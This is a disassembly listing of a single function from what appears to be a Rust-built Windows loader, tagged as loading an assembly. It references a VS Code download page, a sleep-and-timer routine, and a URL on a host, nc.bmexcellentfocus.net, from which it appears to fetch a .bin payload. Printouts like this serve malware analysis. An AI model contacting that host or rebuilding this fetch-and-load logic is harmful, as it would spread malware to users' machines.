Function at 0x140014ad0
Capabilities:
Load assembly via iassembly

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5e8
movaps xmmword [rsp + 0x5d0], xmm6
mov rax, r8
mov r12, rdx
mov rdi, rcx
lea rcx, [rsp + 0xc0]
mov r8d, 0x150
mov rdx, rax
call fcn.14011a210
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x140014b32
cmp eax, 1
je 0x140014b5f
jmp 0x140015ed1
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14000d1b0]
call fcn.1400e77d0
mov byte [rsi + 0x120], 1
mov qword [rsp + 0x88], rdi
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x1400174e1
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
mov r14, qword [r12]
mov rbx, qword [r12 + 8]
lea rcx, [rbx + 0x1d0]
lea rax, [rbx + 0x170]
test r14, r14
cmove rcx, rax
call fcn.1400ff030
mov esi, eax
mov edi, edx
cmp dword [r15 + 0x110], 0
je 0x140014bf4
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x140014c0b
call fcn.1400f8b10
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140197314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], esi
mov dword [rax + 0x118], edi
cmp qword [rax + 0xd0], 0
jne 0x140017527
mov eax, dword [0x140197314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rbx], r8
test r14, r14
mov rdi, qword [rsp + 0x88]
je 0x140014c87
test r8, r8
jns 0x140014c92
jmp 0x140017483
test r8, r8
js 0x140017483
xor eax, eax
mov r8d, dword [0x140197314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rbx
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je 0x140017533
inc rax
mov r10d, dword [0x140197314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], ecx
mov dword [rsp + 0xbc], edx
mov qword [rsp + 0x418], r12
cmp qword [r12], 0
jne 0x140017579
xor esi, esi
xorps xmm6, xmm6
lea rbp, [0x1401288a0]
lea r14, [rsp + 0x280]
lea r13, [rsp + 0x420]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x140015d92
mov qword [rsp + 0x238], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rsp + 0x68]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x211]
mov ecx, dword [rsp + 0x214]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x140015d7f
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x140017483
add rax, 0x10
lea rcx, [0x140161c00]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], 0
jmp 0x140014e6d
cmp rax, 2
jne 0x140017401
xor eax, eax
xchg qword [rdi + 0x10], rax
mov al, 1
lock cmpxchg byte [r15], sil
jne 0x1400151e9
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edi, byte [rax + 0x120]
cmp edi, 2
je 0x140014ef0
cmp edi, 1
je 0x140014ebe
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x14000d1b0]
call fcn.1400e77d0
mov byte [rdi + 0x120], 1
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edi, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rsp + 0x3f], cl
mov word [rax + 0x11c], 0x8001
jmp 0x140014ef0
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x40]
call fcn.1400ffde0
test al, al
je 0x140014fb0
movzx eax, byte [rsp + 0x208]
test eax, eax
je 0x140014fd0
cmp eax, 3
jne 0x1400173b7
movzx eax, byte [rsp + 0x200]
test eax, eax
je 0x140015228
cmp eax, 3
jne 0x140017477
lea r13, [rsp + 0x420]
cmp dword [rsp + 0xc8], 2
je 0x1400152ed
nop word cs:[rax + rax]
mov rcx, r13
lea rdx, [rsp + 0xc8]
lea r8, [rsp + 0x218]
call fcn.1400a6b80
cmp qword [rsp + 0x420], 4
jne 0x14001531e
mov byte [rsp + 0x200], 3
mov al, 3
mov bl, 2
mov byte [rsp + 0x208], al
cmp dil, 2
je 0x140015b67
jmp 0x140015af0
xor ebx, ebx
cmp dil, 2
jne 0x140015af0
jmp 0x140015b67
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x290], 8
movups xmmword [rsp + 0x298], xmm6
mov rcx, r14
call fcn.1400f0d10
mov qword [rsp + 0x280], 0
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rsp + 0x280]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x1400173c3
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rsp + 0x420], rcx
mov qword [rsp + 0x428], 0
mov qword [rsp + 0x538], r13
lea rax, [0x14001ca60]
mov qword [rsp + 0x540], rax
lea rax, str.Time:
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 2
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x538]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
mov rcx, r14
call fcn.1400f0d10
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x290], 8
movups xmmword [rsp + 0x298], xmm6
mov rcx, r14
call fcn.1400f0d10
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x290], 8
movups xmmword [rsp + 0x298], xmm6
mov rcx, r14
call fcn.1400f0d10
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400151dc
mov r15, rax
mov qword [rsp + 0x280], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400151d3
mov rcx, r15
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x140015220
jmp 0x1400151dc
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x140015220
mov rcx, r15
call fcn.140120440
jmp 0x140014e6d
mov rcx, r15
call fcn.1401200f0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rdi + 0x10], rcx
je 0x140015be5
jmp 0x140014e50
mov byte [rsp + 0x200], 0
mov rcx, r14
call fcn.1400a1b40
mov rcx, r14
call fcn.1400a24f0
test rax, rax
jne 0x140017327
mov qword [rsp + 0xc0], rdx
lea r13, [rsp + 0x420]
mov rcx, r13
lea r8, str.https:__code.visualstudio.com_download
call fcn.140013820
cmp dword [rsp + 0x420], 2
jne 0x1400152a0
mov qword [rsp + 0x280], 2
mov rax, qword [rsp + 0x428]
mov rbx, qword [rsp + 0x530]
mov qword [rsp + 0x288], rax
lock dec qword [rbx]
je 0x1400152bc
jmp 0x1400152c9
mov rbx, qword [rsp + 0x530]
mov rcx, r14
mov rdx, rbx
mov r8, r13
call fcn.1400a4b60
lock dec qword [rbx]
jne 0x1400152c9
lea rcx, [rsp + 0x530]
call fcn.1400ce0f0
mov r8d, 0x138
lea rcx, [rsp + 0xc8]
mov rdx, r14
call fcn.14011a210
cmp dword [rsp + 0xc8], 2
jne 0x140014f60
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xd0], 0
test rax, rax
je 0x140017387
mov qword [rsp + 0x420], 3
mov qword [rsp + 0x428], rax
mov r8d, 0x98
lea rcx, [rsp + 0x538]
mov rdx, r13
call fcn.14011a210
cmp dword [rsp + 0xc8], 2
jne 0x1400153d0
mov r13, qword [rsp + 0xd0]
test r13, r13
je 0x140015776
mov r15, qword [r13 + 0x58]
test r15, r15
je 0x14001538e
mov rbx, qword [r13 + 0x60]
mov rax, qword [rbx]
test rax, rax
je 0x14001536d
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x14001538e
cmp qword [rbx + 0x10], 0x11
jb 0x14001537f
mov r15, qword [r15 - 8]
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r15
call r12
mov rax, qword [r13]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140015767
test rax, rax
je 0x140015767
mov r8, qword [r13 + 8]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
jmp 0x140015767
cmp byte [rsp + 0x1c0], 0xa
jb 0x1400153f9
cmp qword [rsp + 0x1d0], 0
je 0x1400153f9
mov r8, qword [rsp + 0x1c8]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
cmp qword [rsp + 0x150], 0
je 0x140015418
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
cmp qword [rsp + 0x140], 0
je 0x140015437
mov r8, qword [rsp + 0x138]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
mov rbx, qword [rsp + 0x118]
test rbx, rbx
je 0x1400154a0
mov r15, qword [rsp + 0x110]
add r15, 0x30
jmp 0x14001547b
mov rax, qword [r15 - 0x18]
mov rdx, qword [r15 - 0x10]
mov r8, qword [r15 - 8]
mov rcx, r15
call qword [rax + 0x10]
add r15, 0x68
dec rbx
je 0x1400154a0
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x140015460
lea rcx, [r15 + 0x28]
mov rdx, qword [r15 + 0x18]
mov r8, qword [r15 + 0x20]
call qword [rax + 0x10]
jmp 0x140015460
cmp qword [rsp + 0x108], 0
je 0x1400154bf
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
mov rbx, qword [rsp + 0x130]
test rbx, rbx
je 0x1400154fb
mov r15, qword [rsp + 0x128]
add r15, 0x38
nop dword [rax + rax]
mov rax, qword [r15 - 0x18]
mov rdx, qword [r15 - 0x10]
mov r8, qword [r15 - 8]
mov rcx, r15
call qword [rax + 0x10]
add r15, 0x48
dec rbx
jne 0x1400154e0
cmp qword [rsp + 0x120], 0
je 0x14001551a
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
cmp qword [rsp + 0xc8], 0
je 0x14001554d
mov rax, qword [rsp + 0xd0]
test rax, rax
je 0x14001554d
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
lea rcx, [rsp + 0xe8]
call qword [rax + 0x10]
mov rbx, qword [rsp + 0x1b8]
test rbx, rbx
je 0x1400155a0
mov r15, qword [rsp + 0x1b0]
add r15, 8
jmp 0x140015579
add r15, 0x58
dec rbx
je 0x1400155a0
cmp qword [r15 - 8], 0
je 0x140015570
mov r8, qword [r15]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
jmp 0x140015570
cmp qword [rsp + 0x1a8], 0
je 0x1400155bf
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x140197260]
xor edx, edx
call r12
mov rax, qword [rsp + 0x1d8]
lock dec qword [rax]
jne 0x1400155da
lea rcx, [rsp + 0x1d8]
call fcn.140009710
mov r15, qword [rsp + 0x1e0]
mov rbx, qword [rsp + 0x1e8]
mov rax, qword [rbx]
test rax, rax
je 0x1400155f7
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x140015618
cmp qword [rbx + 0x10], 0x11
jb 0x140015609
mov r15, qword [r15 - 8]
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r15
call r12
mov r13, qword [rsp + 0x1f8]
test r13, r13
je 0x140015776
cmp qword [r13], 0
mov r15, qword [r13 + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x14001739f
lea r12, [r13 + 8]
add r15, rax
lea rbx, [r13 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x140015705
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x140015683
lea rcx, [r15 + 0x60]
mov rdx, rbx
call fcn.1400fb5e0
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400156e0
mov byte [r13 + 0x60], 0
mov qword [r13 + 0x40], 0xffffffffffffffff
mov rax, qword [r13 + 0x58]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r13 + 0x58], rcx
jne 0x1400156a0
test rax, rax
jne 0x1400156e0
mov rax, qword [r13 + 0x48]
mov rcx, qword [r13 + 0x50]
mov qword [r13 + 0x48], 0
lock and qword [r13 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400156e0
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
lock cmpxchg byte [r15 + 0x58], sil
jne 0x140015721
cmp qword [r13], 0
je 0x140015734
mov rax, qword [r12]
lock dec qword [rax]
jne 0x140015750
mov rcx, r12
call fcn.140008a80
jmp 0x140015750
lea rcx, [r15 + 0x58]
call fcn.1401200f0
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x140015677
jmp 0x140015683
add r15, 0x58
mov rcx, r15
call fcn.140120440
cmp qword [r13], 0
jne 0x1400156f1
mov rax, qword [r12]
lock dec qword [rax]
jne 0x140015750
mov rcx, r12
call fcn.1400089c0
nop word cs:[rax + rax]
mov rax, qword [r13 + 0x48]
test rax, rax
je 0x140015760
mov rcx, qword [r13 + 0x50]
call qword [rax + 0x18]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r13
call r12
cmp dword [rsp + 0x538], 3
jne 0x140015840
mov qword [rsp + 0x420], rbp
mov qword [rsp + 0x428], 1
mov qword [rsp + 0x430], 8
movups xmmword [rsp + 0x438], xmm6
lea r13, [rsp + 0x420]
mov rcx, r13
call fcn.1400f0d10
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x140015c1c
mov r15, rax
mov qword [rsp + 0x420], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r13
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x140015c13
mov rcx, r15
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x140015c27
jmp 0x140015c1c
mov qword [rsp + 0x420], rbp
mov qword [rsp + 0x428], 1
mov qword [rsp + 0x430], 8
movups xmmword [rsp + 0x438], xmm6
lea rcx, [rsp + 0x420]
call fcn.1400f0d10
lea rcx, [rsp + 0x538]
call fcn.14000ad90
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x14001589d
lea rcx, [rsp + 0xc0]
call fcn.140009710
mov byte [rsp + 0x200], 1
lea rbx, [0x14012896c]
mov rcx, rbx
lea rdx, str.https:__nc.bmexcellentfocus.net_uf_mr1_20240611052745823.binREQWEST_URL
call fcn.140013bc0
mov r8d, 0xb
mov rcx, r14
mov rdx, rbx
call fcn.1400ebe70
mov rbp, qword [rsp + 0x280]
movabs rax, 0x8000000000000000
cmp rbp, rax
jne 0x1400158f0
lea rbp, [0x1401288a0]
jmp 0x140015220
mov r13, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
cmp byte [rsp + 0x298], 0
je 0x140015c41
lea rcx, [rsp + 0x538]
mov rdx, r13
call fcn.1400036f0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x538], rax
jne 0x1400159b6
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x140015cef
mov r15, rax
mov qword [rsp + 0x280], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x140015ce6
mov rcx, r15
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x140015cfa
jmp 0x140015cef
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x430], rax
movups xmm0, xmmword [rsp + 0x538]
movaps xmmword [rsp + 0x420], xmm0
call fcn.140003c60
call fcn.140001830
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x140015a3e
mov r12, qword [r15 - 1]
mov rbx, qword [r15 + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140015a00
mov rcx, r12
call rax
cmp qword [rbx + 8], 0
je 0x140015a25
cmp qword [rbx + 0x10], 0x11
jb 0x140015a13
mov r12, qword [r12 - 8]
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r15
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
call r12
mov rcx, r14
call fcn.140001c00
cmp qword [rsp + 0x280], 0
je 0x140015a64
mov rcx, qword [rsp + 0x288]
test rcx, rcx
je 0x140015a64
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e8590
call fcn.140004d20
lea rax, [0x1401288a0]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x290], 8
movups xmmword [rsp + 0x298], xmm6
mov rcx, r14
call fcn.1400f0d10
lea rcx, [rsp + 0x420]
call fcn.140001610
mov bl, 1
test rbp, rbp
je 0x140015acd
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r13
call r12
mov al, 1
lea rbp, [0x1401288a0]
lea r13, [rsp + 0x420]
mov byte [rsp + 0x208], al
cmp dil, 2
je 0x140015b67
nop
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x140015b67
cmp eax, 1
je 0x140015b42
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400ff160]
call fcn.1400e77d0
mov byte [r15 + 0x120], 1
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], dil
movzx ecx, byte [rsp + 0x3f]
mov byte [rax + 0x11d], cl
cmp bl, 2
jne 0x140015d20
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x140015cd3
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [rdi + 0x10], rsi
je 0x140014e6d
lea r15, [rdi + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x20], cl
jne 0x1400151f6
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rdi + 0x10], rcx
jne 0x140014e50
lea rbx, [rdi + 0x18]
nop dword [rax]
mov rcx, rbx
mov rdx, r15
mov r9d, 0x3b9aca00
call fcn.1400515f0
mov eax, 2
lock cmpxchg qword [rdi + 0x10], rsi
jne 0x140015bf0
jmp 0x140014e60
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rsp + 0x538]
call fcn.14000ad90
mov rdx, qword [rsp + 0xc0]
jmp 0x140015251
test r8, r8
je 0x14001590e
lea rax, [r8 + r13]
mov rdx, r13
jmp 0x140015c6c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop
mov rdx, rcx
cmp rcx, rax
je 0x14001590e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140015c60
cmp r9b, 0xe0
jb 0x140015c53
cmp r9b, 0xed
jne 0x140015caa
cmp rcx, rax
je 0x14001590e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14001590e
cmp byte [rdx + 1], 0x9f
ja 0x140015cfa
add rdx, 3
mov rcx, rdx
jmp 0x140015c60
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140015c60
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140015c60
test rax, rax
jne 0x14001735b
call fcn.140125c00
jmp 0x140015b94
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbp, rbp
lea rbp, [0x1401288a0]
je 0x140015220
mov rcx, qword [0x140197260]
xor edx, edx
mov r8, r13
call r12
jmp 0x140015220
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call qword [rax + 0x18]
lea rcx, [rsp + 0x40]
call fcn.1401002b0
mov rax, qword [rsp + 0x60]
test bl, bl
jne 0x140015efd
test rax, rax
je 0x140015d57
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x18]
cmp dword [rsp + 0x238], 2
mov rdi, qword [rsp + 0x88]
je 0x140014d60
lea rcx, [rsp + 0x238]
call fcn.14000d2c0
jmp 0x140014d60
test rax, rax
jne 0x1400174b5
call fcn.140125c00
jmp 0x140014ddc
mov rcx, qword [rsp + 0x418]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x140017483
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], 0
mov qword [rsp + 0x250], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x258]
movups xmmword [rax], xmm0
mov qword [rsp + 0x268], 8
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x278], rdi
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x250]
movups xmm1, xmmword [rsp + 0x258]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
movaps xmmword [rsp + 0x60], xmm1
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x40], 0
jne 0x1400175fd
cmp qword [rsp + 0x50], 0
jne 0x140017640
mov qword [rsp + 0x50], 0xffffffffffffffff
mov rbx, qword [rsp + 0x58]
mov qword [rsp + 0x58], 0
test rbx, rbx
je 0x14001764c
mov qword [rsp + 0x50], 0
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x140015f2a
cmp eax, 1
je 0x140015f57
mov rcx, rbx
call fcn.14000d1f0
lea rax, [0x1401611a0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_b5b13568fb5da4ac988bde370008d6134d3dfe6clibrary_std_src_threadlocal.rs
lea r9, [0x140161a90]
lea r8, [rsp + 0x280]
mov edx, 0x46
call fcn.14011c6e0
test rax, rax
je 0x140015f0a
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x18]
cmp dword [rsp + 0x238], 2
je 0x140016f28
lea rcx, [rsp + 0x238]
call fcn.14000d2c0
jmp 0x140016f28
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14000d1b0]
call fcn.1400e77d0
mov byte [rsi + 0x120], 1
lea r15, [rsp + 0x48]
mov eax, dword [0x140197314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x108]
lea rcx, [rsp + 0x40]
mov qword [rax + 0x108], rcx
mov rax, qword [rsp + 0x48]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140162530]
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x98], rcx
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x218], rcx
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x228], 0
xorps xmm6, xmm6
lea r13, [rsp + 0x280]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x140016ba0